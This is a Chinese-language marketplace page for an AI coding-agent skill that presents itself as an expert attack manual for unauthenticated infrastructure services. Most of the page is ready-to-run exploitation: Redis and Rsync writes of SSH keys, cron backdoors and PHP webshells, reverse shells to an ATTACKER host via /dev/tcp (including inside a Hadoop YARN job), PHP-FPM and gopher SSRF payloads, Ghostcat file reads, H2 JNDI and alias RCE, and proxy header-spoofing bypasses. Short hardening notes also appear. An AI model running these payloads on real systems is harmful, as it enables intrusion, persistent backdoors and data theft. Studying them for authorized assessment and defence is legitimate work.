mcpField
U
unauthorized-access-common-services

unauthorized-access-common-services

github.com/yaklang安全2.6k3.5k 次安装6 周前更新
代码仓库

关于 unauthorized-access-common-services

面向安全评估的技能,介绍未认证或弱认证基础设施服务的暴露面与攻击路径,涵盖服务发现、利用示例及加固建议。内容涉及 Redis、Rsync、PHP-FPM、AJP、Hadoop YARN、H2 和反向代理。

主要功能

  1. 01服务端口发现指南
  2. 02Redis 与 Rsync 攻击路径
  3. 03PHP-FPM 与 AJP 技术
  4. 04Hadoop YARN 与 H2 场景
  5. 05反向代理配置错误示例
  6. 06服务加固建议

适用场景

  1. 01审查扫描结果中的管理服务暴露
  2. 02评估基础设施服务风险
  3. 03检查反向代理配置

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill unauthorized-access-common-services

安装后在 Claude Code 中输入/unauthorized-access-common-services确认已加载。

附带文件PORT_SERVICE_MATRIX.md

详细介绍

SKILL:常见服务的未授权访问——专家攻击手册

AI 加载指令:针对未授权或弱身份验证管理服务的专家级利用技术。涵盖 Redis 写入实现 RCE、Rsync 数据窃取、PHP-FPM 代码执行、Ghostcat AJP 文件读取、Hadoop YARN 作业提交和 H2 Console JNDI。这些属于基础设施层面的发现,与 Web 应用漏洞不同。

0. 相关路由

完整端口参考

需要以下内容时,也请加载 PORT_SERVICE_MATRIX.md:

  • 按端口号整理的完整利用矩阵(20 多种服务)
  • 每种服务的枚举、暴力破解和后渗透
  • 分析 nmap/masscan 输出时快速分类

1. 发现——端口扫描

nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached

2. REDIS(端口 6379)

检测
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config
写入 SSH Authorized Keys
# Generate key pair:
ssh-keygen -t rsa -f redis_rsa

# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save

# Connect:
ssh -i redis_rsa root@TARGET
写入 Crontab(反向 Shell)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
写入 Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id
主从复制 RCE

使用 redis-rogue-server 利用主从复制加载恶意 .so 模块:

python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec
加固
requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""

3. RSYNC(端口 873)

检测
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents
利用——写入 Crontab
# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron

# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
加固
# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes

4. PHP-FPM / FASTCGI(端口 9000)

原理

PHP-FPM 监听 FastCGI 请求。如果它暴露在网络上(而不是使用 Unix 套接字),攻击者就可以发送构造的 FastCGI 数据包来执行任意 PHP 代码。

利用
# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input"  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"
利用所需的关键 FastCGI 环境变量
SCRIPT_FILENAME = /var/www/html/index.php   # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input  # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On     # enables remote inclusion
通过 SSRF(gopher)
gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi
加固
; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1

5. GHOSTCAT——AJP(端口 8009)——CVE-2020-1938

原理

Apache JServ Protocol(AJP)用于反向代理与 Tomcat 之间的通信。AJP 信任所有传入数据——攻击者直接连接后,可以设置 javax.servlet.include.request_uri,从 Web 应用目录读取任意文件。

文件读取
# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs
文件包含 → RCE

如果存在文件上传功能(例如,将伪装成图像的 JSP 上传文件),AJP 就可以将其作为 JSP 包含:

python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed
加固

<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>


6. HADOOP YARN RESOURCEMANAGER(端口 8088)

检测
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI
通过提交应用实现 RCE
# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'
加固

启用 Kerberos 身份验证;限制管理端口的网络访问。


7. H2 DATABASE CONSOLE

检测

Spring Boot 应用通常会启用 H2 Console,方法如下:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

访问地址:http://TARGET:PORT/h2-console

通过连接字符串进行 JNDI 注入

在 H2 Console 登录表单中,JDBC URL 字段接受 JNDI。

BeanFactory + EL 绕过(适用于 Java 8u252+):

# JDBC URL in login form:
javax.naming.InitialContext

# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

完整的 JNDI/BeanFactory 利用流程另请参阅 jndi-injection。

通过 RUNSCRIPT 实现 RCE
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');

8. 快速参考

# Redis — check auth:
redis-cli -h TARGET ping

# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE

# Rsync — list modules:
rsync TARGET::

# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application

# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');

9. 反向代理配置错误

Nginx 斜杠偏差路径穿越
# Vulnerable configuration:
location /static {
    alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# Fix: location /static/ (with trailing slash matching alias)
Nginx 缺少 Root Location
# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1
信任 X-Forwarded-For / X-Real-IP
# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

# May bypass IP whitelist for admin panels
Caddy 模板注入
# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template
# This is essentially a Go template injection through proxy config
实用工具
  • yandex/gixy — Nginx 配置分析器
  • Raelize/Kyubi — 反向代理配置错误扫描器
  • GerbenJavado/bypass-url-parser — URL 解析器混淆测试工具

评论

支持 Markdown